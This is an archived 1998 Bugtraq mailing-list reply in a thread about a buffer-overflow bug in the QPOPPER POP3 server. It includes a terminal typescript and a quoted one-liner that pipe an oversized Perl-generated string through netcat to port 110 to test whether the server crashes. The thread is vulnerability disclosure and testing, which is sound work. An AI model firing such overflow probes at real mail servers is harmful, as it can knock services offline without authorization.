[7070] in bugtraq
Re: QPOPPER problem.... ONE crude patch...
daemon@ATHENA.MIT.EDU (Yiorgos Adamopoulos)
Sun Jun 28 01:23:49 1998
Date: Sat, 27 Jun 1998 22:58:51 +0300
Reply-To: Y.Adamopoulos@noc.ntua.gr
From: Yiorgos Adamopoulos <Y.Adamopoulos@NOC.NTUA.GR>
X-To: Tom Brown <tbrown@baremetal.com>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.LNX.3.96.980627115101.1876a-100000@tom2.baremetal.com>;
from Tom Brown on Sat, Jun 27, 1998 at 11:52:50AM -0700
Hi,
I am attaching the typescript file. As you will see, the connection cl=
osed
as expected...
-Yiorgos.
Script started on Sat Jun 27 22:55:42 1998
adamo@ajax: [1] ~ > perl -e 'print "e"x20000,"\r\nQUIT\r\n";'|nc -i 2 l=
ocal 110
+OK QPOP (version 2.41beta1) at ajax.noc.ntua.gr starting.
-ERR Unknown command: "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee!
!
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=EF=FF=F9`
+OK Pop server at ajax.noc.ntua.gr signing off.
adamo@ajax: [2] ~ > exit
script done on Sat Jun 27 22:56:46 1998
On Sat, Jun 27, 1998 at 11:52:50AM -0700, Tom Brown wrote:
>
> just in case you didn't know...
>
> just because you don't find the core file, doesn't mean it didn't
> segfault... did you get a sudden "connection closed by foreign host" =
...
> if so it's vulnerable... (the 2.3 popper seems to do this, even on
> linux... and BSDI I'm told does that)...
>
> On Sat, 27 Jun 1998, Yiorgos Adamopoulos wrote:
>
> > On Sat, Jun 27, 1998 at 01:58:10AM -0700, Tom Brown wrote:
> > > perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110
> >
> > can someone try this on a Solaris2.6 (sparc) ? I just did and it d=
id not
> > core dump ...
> >
>
> ---------------------------------------------------------------------=
-
> tbrown@BareMetal.com | Ours is a world where people don't know what=
they
> http://BareMetal.com/ | want and are willing to go through hell to g=
et it.
> | - Don Marquis
